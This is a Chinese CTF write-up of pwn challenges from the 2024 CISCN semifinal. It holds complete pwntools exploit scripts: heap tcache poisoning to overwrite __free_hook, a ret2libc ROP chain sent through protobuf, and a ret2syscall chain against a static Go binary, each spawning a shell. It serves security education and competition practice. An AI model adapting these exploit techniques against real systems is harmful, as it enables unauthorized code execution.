2024全国大学生信息安全竞赛(ciscn)半决赛(华中赛区)Pwn题解

news2024/11/17 21:23:25

简介

前段时间赛前准备把ciscn东北赛区、华南赛区、西南赛区半决赛的题都复现完了。

可惜遇到了华东北赛区的离谱平台和离谱pwn出题人:

  • 假的awdp(直接传🐎到靶机,然后连上去cat /flag.txt即可)
  • 题型分布不合理,8个web 2个pwn(还是没有libc的栈上签到题)

今天把华中赛区的题目也都复现了一下,题目分布为1个简单堆、1个高版本堆、1个go和1个protobuf。

对比之下,华东北的题最烂。

Pwn1-note

签到堆题,2.31版本libc(tcache利用最简单的版本)。

题目没去除符号表,经典菜单题,逆向也不复杂。

逆向分析

拖入IDA分析:

image-20240625150826971

经典的增删改查菜单,逐个分析。

add

image-20240625150911008

可以申请最多1024个任意大小的chunk(小于0x1000)。

edit

image-20240625151012613

正常编辑功能,不存在溢出。

delete

image-20240625151108465

关键漏洞点,存在UAF漏洞。

show

image-20240625151130024

正常打印输出chunk中的内容。

利用思路

题目给的glibc2.31相对来说还是比较好利用的,没有fd指针也加密,malloc也不检查是否0x10对齐。

存在UAF漏洞,没有任何限制。打法有很多种,最简单的就是tcache poisoning打__free_hook -> system。

通过tcache泄露堆地址,通过unsorted bin泄露libc,然后修改tcache的fd指针指向free_hook。

修改free_hook为system,然后释放一个带有/bin/sh的chunk即可完成利用。

exp

from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
p = process([elf.path])

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'


def add_chunk(size, content):
    p.sendlineafter(b"5. exit\n", b"1")
    p.sendlineafter(b"content: \n", str(size).encode())
    p.sendlineafter(b"content: \n", content)


def edit_chunk(index, content):
    p.sendlineafter(b"5. exit\n", b"2")
    p.sendlineafter(b"index: \n", str(index).encode())
    p.sendlineafter(b"content: \n", str(len(content)).encode())
    p.sendafter(b"Content: \n", content)


def delete_chunk(index):
    p.sendlineafter(b"5. exit\n", b"3")
    p.sendlineafter(b"index: \n", str(index).encode())


def show_chunk(index):
    p.sendlineafter(b"5. exit\n", b"4")
    p.sendlineafter(b"index:", str(index).encode())


# leak heap and libc
for i in range(9):
    add_chunk(0x98, b'a' * 0x98)  # 0-8

for i in range(7):
    delete_chunk(6 - i)
delete_chunk(7)

show_chunk(0)
heap_base = u64(p.recvuntil((b'\x55', b'\x56'))[-6:].ljust(8, b'\x00')) & ~0xFFF
success("heap_base = " + hex(heap_base))

show_chunk(7)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
libc.address = libc_base
success("libc_base = " + hex(libc_base))

# tcache poisoning
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
edit_chunk(1, b'/bin/sh\x00')

edit_chunk(0, p64(free_hook))
add_chunk(0x98, b'b' * 0x98)  # 9
add_chunk(0x98, p64(system))  # 10 __free_hook

# gdb.attach(p)
# pause()

delete_chunk(1)

p.interactive()

Pwn2-protoverflow

题目很简单,ret2libc。

难点在于交互时套了一层C++ Protobuf的壳。

Protobuf-C逆向可以参考《深入二进制安全:全面解析Protobuf》文章,近期会再更新一期关于C++中Protobuf结构体还原的方法。

逆向分析

image-20240625172306036

发现程序运行时会打印puts函数地址,泄露libc。然后解析Protobuf结构体并调用真正的主函数。

结构体还原

使用pbtk工具:

pbtk-1.0.5/extractors/from_binary.py ./pwn

得到结构体:

syntax = "proto2";

message protoMessage {
    optional string name = 1;
    optional string phoneNumber = 2;
    required bytes buffer = 3;
    required uint32 size = 4;
}

利用思路

image-20240625172246979

name和phoneNumber可选,没什么用。

buffer为字符串,size可自定义,调用memcpy时会存在栈溢出漏洞。

已知libc,可以考虑直接ret2libc。

(这里需要注意的是,经过编译后的Protobuf会在头部增加一个Message结构体,下标3开始才是我们的字段)

(而if里判断了下标为2的参数,这里猜测是判断结构体中name和phoneNumber字段是否为空)

exp

from pwn import *
import message_pb2

elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process([elf.path])

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

# leak libc
p.recvuntil(b'Gift: ')
gift = int(p.recv(14), 16)
libc_base = gift - libc.sym['puts']
libc.address = libc_base
success("libc_base = " + hex(libc_base))

# rop
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh\x00'))
ret = next(libc.search(asm('ret'), executable=True))
pop_rdi = next(libc.search(asm('pop rdi; ret'), executable=True))
pop_rsi = next(libc.search(asm('pop rsi; ret'), executable=True))
pop_rdx_r12 = next(libc.search(asm('pop rdx; pop r12; ret'), executable=True))

rop = b'a' * 0x210 + b'deadbeef'
rop += p64(pop_rdi) + p64(binsh)
rop += p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0) * 2
rop += p64(system)

# gdb.attach(p, 'b *$rebase(0x3345)\nc')
# pause()

message = message_pb2.protoMessage()
message.buffer = rop
message.size = len(rop)

p.send(message.SerializeToString())

p.interactive()

Pwn3-go_note

Go语言静态编译的题目,IDA反编译不是很好,但是代码不复杂且漏洞点很好发现。

关键问题是没有libc,需要找一些ROP来调用静态编译的函数,方法可能不是最优解,但是很容易想到。

逆向分析

Go语言逆向,相比于C语言的区别如下:

  • main函数名为main_main(如果去除符号表,考虑通过bindiff还原)

  • 参数依次通过寄存器传递:AX、BX、CX、DI、SI、R8、R9、R10、R11

对于Go语言逆向,IDA支持不是很好,我们需要结合汇编代码和动态调试来分析。

找到main_main函数:

image-20240625174510916

好在不是很复杂,根据菜单发现有add、delete、edit和show功能,依次分析。

add

image-20240625180057909

存在一个Notes结构体,存储len和array结构体数组。add函数会将id、content_len和content加入到array结构体数组中。

delete

image-20240625180225045

直接看变量有点复杂,结合gdb调试发现不存在UAF漏洞。

edit

image-20240625202417201

直接看变量有点复杂,结合gdb动态调试发现这里没有判断输入长度,存在溢出漏洞并能覆盖到返回地址。

show

image-20240625202429139

看上去没有什么漏洞,直接打印内容。

利用思路

结合动态调试,发现edit存在栈溢出漏洞,可以劫持程序的控制流程。

由于题目没有给出libc,也没办法泄露相关地址,我直接采用了ret2syscall。

题目是静态编译,搜索下syscall发现有如下函数:

image-20240625202533683

我们的目的是执行execve(“/bin/sh”, 0, 0)。rax寄存器为系统调用号,rbx、rcx、rdi是系统调用的三个参数。

然后通过ROPgadget找到gadget:

rw_mem = 0x527088
pop_rax_rbp = 0x0000000000404408    				# pop rax, rbp; ret
pop_rbx = 0x0000000000404541        				# pop rbx; ret
mov_rcx_0 = 0x000000000040318f      				# mov rcx, 0; ret
xor_edi_add_rsp_10_pop_rbp = 0x0000000000411aee  	# xor edi, edi; add rsp 0x10; pop rbp; ret
syscall = 0x403160

找不到pop rcx和pop rdi指令,由于rcx和rdi都应该置0,所以可以找mov或者xor指令替代。

经过一番查找,发现一条mov rcx, 0指令可以把rcx寄存器置0。

并且,有一条xor edi, edi; add rsp, 0x10; pop rbp;指令,只要能够让edi置0即可,后面的指令相当于弹出栈上3个参数,填充即可。

现在距离拿下shell只差一步,题目没有/bin/sh字符串,需要我们想办法写入一个已知地址。

经过调试发现,add函数将内容写在了堆上,我们可以考虑利用一些gadget将字符串写到bss段上。

比如,可以通过下面的gadget:

# use to write /bin/sh
# ...                               # pop rax, rbp; ret
pop_rdx = 0x000000000047a8fa        # pop rdx; ret
mov_meax_edx = 0x0000000000402fd1   # mov [eax], edx
# write /bin to rw_mem
payload += p64(pop_rax_rbp) + p64(rw_mem) + p64(0)
payload += p64(pop_rdx) + b'/bin' + b'\x00' * 4
payload += p64(mov_meax_edx)
# write /sh to rw_mem
payload += p64(pop_rax_rbp) + p64(rw_mem + 4) + p64(0)
payload += p64(pop_rdx) + b'/sh' + b'\x00' * 5
payload += p64(mov_meax_edx)

然后正常的覆盖返回地址到rop gadget执行ret2syscall即可。

exp

from pwn import *

elf = ELF("./note")
p = process([elf.path])

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'


# rop
rw_mem = 0x527088
pop_rax_rbp = 0x0000000000404408    # pop rax, rbp; ret
pop_rbx = 0x0000000000404541        # pop rbx; ret
mov_rcx_0 = 0x000000000040318f      # mov rcx, 0; ret
xor_edi_add_rsp_10_pop_rbp = 0x0000000000411aee  # xor edi, edi; add rsp 0x10; pop rbp; ret
syscall = 0x403160

# use to write /bin/sh
# ...                               # pop rax, rbp; ret
pop_rdx = 0x000000000047a8fa        # pop rdx; ret
mov_meax_edx = 0x0000000000402fd1   # mov [eax], edx


payload = b'a' * 0x38 + b'deadbeef'
# write /bin to rw_mem
payload += p64(pop_rax_rbp) + p64(rw_mem) + p64(0)
payload += p64(pop_rdx) + b'/bin' + b'\x00' * 4
payload += p64(mov_meax_edx)
# write /sh to rw_mem
payload += p64(pop_rax_rbp) + p64(rw_mem + 4) + p64(0)
payload += p64(pop_rdx) + b'/sh' + b'\x00' * 5
payload += p64(mov_meax_edx)
# syscall 0x3b
payload += p64(pop_rax_rbp) + p64(0x3b) + p64(0)
payload += p64(pop_rbx) + p64(rw_mem)
payload += p64(mov_rcx_0)
payload += p64(xor_edi_add_rsp_10_pop_rbp) + p64(0) * 3
payload += p64(syscall)

p.sendline(b'1')
p.sendline(b'a')
p.sendline(b'3')
p.sendline(b'1')

# gdb.attach(p, 'b *0x47F41E\nc')
# pause()

p.sendline(payload)

p.interactive()

Pwn4-starlink

逆向起来比较费劲,涉及到了SSE指令,IDA反编译的有问题,并且结构体设置的比较复杂。

除了final和destroy函数都逆了下,但是没有找到漏洞点,有兴趣的师傅可以做一下。(听武汉大学的secsome师傅和V3rdant师傅说是start结构体的0x00偏移量位置的计数器没有+1,这里确实是一个漏洞点,但是不知道后续怎么利用。)

(secsome师傅说IDA把一堆32bytes的识别成xmm导致反编译的有问题)

这里给出一部分逆向分析过程。

逆向分析

查看main函数,发现是经典菜单题,选项多了点,逐个分析。

add_star

image-20240625204450338

最多申请0x100个chunk。输入idx、size和content,申请0x60大小的chunk_a后申请指定size的chunk_b。

与常规题目不同的是:

if ( ptr )
{
    __printf_chk(1LL, "Data: ");
    read(0, ptr, size);
    *(_QWORD *)&vars0 = 1LL;
    vars40 = &vars30.m128i_i64[1];
    *((_QWORD *)&vars0 + 1) = idx;
    vars10 = 0uLL;
    *(_QWORD *)&buf = 0LL;
    *((_QWORD *)&buf + 1) = size;
    vars48 = 0LL;
    vars30 = _mm_unpacklo_epi64((__m128i)(unsigned __int64)ptr, (__m128i)(unsigned __int64)&vars30.m128i_u64[1]);
    *((_QWORD *)heap_array + idx) = &vars0;
    return puts("Star created!");
}

这段代码很奇怪,反编译有问题。

前面将申请的0x60大小chunk_a的用户区域指针赋值给了rbp,chunk_b的用户区域指针赋值给了r12。

这里read内容到chunk_b后执行了一系列命令,可以看下汇编:

image-20240625211818758

执行如下操作:

  • [chunk_a] = 1
  • [chunk_a + 8] = idx
  • [rbp + 0x40] = &chunk_a + 0x38
  • [rbp + 0x28] = size

而对于punpcklqdq xmm0, xmm1指令,动态调试发现:

image-20240625214505777

执行结果,xmm0为16字节。低8字节为&chunk_b,高8字节为&chunk_a + 0x38。

然后执行如下操作:

  • [chunk_a + 0x30] = xmm0,即[rbp + 0x30] = &chunk_b,[rbp + 0x38] = &chunk_a + 0x38。
  • heap_array[idx] = &chunk_a。

动态调试后结构如下所示:

image-20240625214936911

add_link

image-20240626075505510

输入chunk_a和chunk_b的下标,然后输入distance,会判断chunk+0x20的位置是否有数据,若不为0则代表已经finalize。

然后判断chunk+0x10的位置是不是小于0x100,猜测这里是代表当前结点的连接数量。

后面的部分看汇编代码:

image-20240626075824877

申请0x30大小的chunk作为link结构体。它执行如下操作:

  • rcx = [chunk_a + 0x38]
  • xmm0 = &chunk_b
  • rdx = &link_chunk + 0x10
  • [link_chunk] = distance
  • r12 = r12 + 1
  • rsi = &chunk_a + 0x38
  • edi = 0x20
  • xmm3 = [chunk_a + 0x38]
  • [link_chunk + 0x18] = &chunk_a + 0x38
  • punpcklqdq xmm0, xmm3,结果是xmm0的低8字节为&chunk_b,高8字节为[chunk_a + 0x38]。
  • [link_chunk + 0x8] = &chunk_b,[link_chunk + 0x10] = [chunk_a + 0x38]
  • [[chunk_a + 0x38] + 8] = &link_chunk + 0x10
  • [chunk_a + 0x38] = &link_chunk + 0x10
  • [chunk_a + 0x10] = [chunk_a + 0x10] + 1

动态调试结果如下:

image-20240626082623399

然后再次调用malloc申请一个0x30大小的chunk,执行如下操作:

  • rcx = [chunk_b + 0x38]
  • xmm0 = &chunk_a
  • rdx = &chunk_link + 0x10
  • [chunk_link] = distance
  • rsi = &chunk_b + 0x38
  • xmm4 = [chunk_b + 0x38]
  • [chunk_link + 0x18] = &chunk_b + 0x38
  • punpcklqdq xmm0, xmm3,结果是xmm0的低8字节为&chunk_a,高8字节为[chunk_b + 0x38]。
  • [chunk_link + 0x8] = &chunk_a,[chunk_link + 0x10] = [chunk_b + 0x38]
  • [[chunk_b + 0x38] + 8] = &chunk_link + 0x10
  • [chunk_b + 0x38] = &chunk_link + 0x10
  • [chunk_b + 0x10] = [chunk_b + 0x10] + 1

动态调试结果如下:

image-20240626084125058

view_start

image-20240626084451663

根据输入的idx输出对应的Index、Data、LinkCount和Distance。

可以结合这个show函数还原部分结构:

image-20240626090836643

大概可以知道,start存储了Index、data_len、data_ptr和Link_count,并且和这个start相关的link组成了一个双向链表。

对于每个start的link,存储distance、star_ptr、fd和bk,类似于链表实现邻接矩阵。

update_star

image-20240626091238961

根据update函数,又能推断出一些信息:field_20和finalize有关。

然后可以正常edit数据区域,不存在溢出漏洞。

push_star

image-20240626092930490

将field_0的值减1,如果field_0为0则进入清理操作。

将所有link删除,然后将star删除。

final

image-20240626095122784

final函数用于构建graph。

后面实在不想分析了,看了会也没找到漏洞在哪。

题目附件

关注公众号【Real返璞归真】回复【ciscn】下载题目附件。

image-20240626105345009

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1864325.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

fastadmin框架修改前端时间戳格式的时区

一、上传文件 将 moment-timezone-with-data.js 和 moment-timezone-with-data.min.js 文件上传到项目的 \public\assets\libs\moment\ 文件夹中。 二、配置中引入文件 在 \public\assets\js\require-backend.js 文件中增加所引入文件的配置: moment-timezone-with-data: …

【嵌入式Linux】i.MX6ULL GPIO 中断管理与配置函数

文章目录 GPIO 中断管理与配置函数1 GPIO中断服务号2 GPIO中断相关的寄存器配置3 具体代码分析3.1 数据结构和类型定义3.2 gpio_int_enable3.3 gpio_int_disable3.4 gpio_int_flagClear3.5 gpio_int_init3.6 gpio_init 4 完整代码 本文章结合了正点原子的 i.mx6u嵌入式Linux开发…

49、基于归一化感知器的输入向量分类(matlab)

1、基于归一化感知器的输入向量分类的原理及流程 归一化感知器是一种分类算法,其原理基于感知器算法,但是在输入向量上进行了归一化处理,以提高算法的性能和稳定性。 流程如下: 输入向量归一化:对每个输入向量进行归…

ChatGPT只是开胃菜,AIGC风口真的来了!

去年OpenAI发布的ChatGPT在全球疯狂刷屏成为一款现象级产品,并成功出圈受到IT、新闻媒体、学术研究、教育等领域的广泛好评和应用。甚至有一位美国学生用ChatGPT 写论文拿下全班最高分,受到了全球媒体的热议。 比尔盖茨曾在今年“Reddit AMA大会”表示&…

Mamba 模型

建议观看讲解视频:AI大讲堂:革了Transformer的小命?专业拆解【Mamba模型】_哔哩哔哩_bilibili 1. 论文基本信息 2. 创新点 选择性 SSM,和扩展 Mamba 架构,是具有关键属性的完全循环模型,这使得它们适合作…

武汉星起航:跨境电商直播带货热,推动中国出口销售新飞跃

随着数字化时代的到来,跨境电商领域正经历着前所未有的变革。中国商务部最近发布的数据显示,2023年中国跨境电商进出口总额达到2.38万亿元,同比增长15.6%,其中出口更是高达1.83万亿元,同比增长19.6%。这一亮眼成绩的背…

电脑开不了机怎么办?无响应就试试这3个方法,快速解决黑屏

当电脑突然变得沉默寡言,没有任何响应,屏幕只剩下一片漆黑时,不仅会打断我们的计划,还可能让我们感到无助和焦虑。电脑开不了机怎么办呢?如果你正面临这样的困境,别担心,本文将引导你通过三个简…

一文讲解:如何理解数字化?数字化的三大本质!

在当今时代,一些企业对数字化概念与本质进行了专门的诠释,部分认为数字化是基于大数据、云计算、物联网、5G等数字技术来实现企业的管理创新,且这一进程的前提是建立在信息化基础之上。然而,也有一些专家持有不同观点,…

基于weixin小程序新生报到系统的设计

管理员账户功能包括:系统首页,个人中心,学生管理,班级信息管理,师资力量管理,宿舍信息管理,宿舍安排管理,签到信息管理,论坛管理 小程序功能包括:系统首页&a…

用IP申请SSL证书需要注意什么?

用IP地址申请SSL证书需要选择支持IP地址验证的证书,验证所有权,正确安装和配置证书等。在互联网中,确保数据传输的安全性是至关重要的,使用SSL证书能够对数据进行加密处理,防止信息被窃取或篡改。使用IP地址申请SSL证书…

使用 Vanna 生成准确的 SQL 查询:工作原理和性能分析

Vanna工作原理 从本质上讲,Vanna 是一个 Python 包,它使用检索增强功能来帮助您使用 LLM 为数据库生成准确的 SQL 查询。 Vanna 的工作分为两个简单的步骤 - 在您的数据上训练 RAG“模型”,然后提出问题,这些问题将返回可设置为在您的数据库上自动运行的 SQL 查询。 vn.t…

如何安装Linux-centOS虚拟机

一、创建虚拟机 二、安装虚拟机 开启虚拟机,将光标移入虚拟机中,点击键盘上的上下键,移动到第一行,按下enter键,如图: 等待进入到如下图,选择中文 设置root密码

计算机毕业设计Thinkphp/Laravel校园体育器材管理系统

校园体育器材管理系统在流畅性,续航能力,等方方面面都有着很大的优势。这就意味着校园体育器材管理系统的设计可以比其他系统更为出色的能力,可以更高效的完成最新的体育器材、器材借用、器材归还、器材损坏、采购入库、器材报废、维修记录等…

项目实施方案(实际项目原件doc参考)

软件实施方案 二、 项目介绍 三、 项目实施 四、 项目实施计划 五、 人员培训 六、 项目验收 七、 售后服务 八、 项目保障措施 软件开发全套资料获取:(本文末个人名片也可直接获取) 软件产品,特别是行业解决方案软件产品不同于一…

制造业采购堡垒机的四大必要性看这里!

制造业包括的行业广泛,与大家的生活息息相关,例如食品制造业、汽车制造业、纺织业、服装制造业等等。但大家对于制造业不是很了解,不知道制造业也是需要采购堡垒机的,今天我们就来聊聊制造业采购堡垒机的必要性。 制造业采购堡垒机…

【AIGC】关于我用AI这玩意儿搞到人生第一笔副业这件事

前言 起初只是对AI感兴趣 后来没想到这玩意儿还能让我接兼职 我已经嗅到了AI的商机 接下来就是挖掘更钝金主爸爸 低收入一定要学!!!! 新手可以先从Midiourney入手 PS:如果不知道怎么学,可以扫描下方二…

76. 最小覆盖子串(困难)

76. 最小覆盖子串 1. 题目描述2.详细题解3.代码实现3.1 Python3.2 Java 1. 题目描述 题目中转:76. 最小覆盖子串 2.详细题解 在s中寻找一个最短的子串,使之包含t中的所有字符,t中可能存在多个相同字符,寻找的子串也应至少含有…

富豪王思聪的“爱情喜剧”从万达排片到网红聊天

王思聪,这位人生如戏、戏如人生的富二代, 在爱情的战场上可谓是屡战屡败,屡败屡战。 想当年,他向戚薇发起了猛烈的爱情攻势, 豪言壮语道:“若我以万达25%的排片量换你一笑,你可愿与我共舞&am…

计算机网络之数据通信原理

1.通信系统的基本组成 信源:信息的发出者; 信宿:信息的接收者; 载体:信息的传送通道; 变换器:将信息变换成载体上可传输的信号; 反变换器:将载体上传输的信号变换成信…

mysql GROUP_CONCAT分组连接

文章目录 GROUP_CONCAT 分组连接GROUP_CANCAT 的使用分班级列出名单分班级列出名单并包含显示性别组合IFNULL组合IF组合case when GROUP_CONCAT 分组连接 准备的数据示例 CREATE TABLE students (id int(11) NOT NULL AUTO_INCREMENT,name varchar(20) DEFAULT NULL,classNa…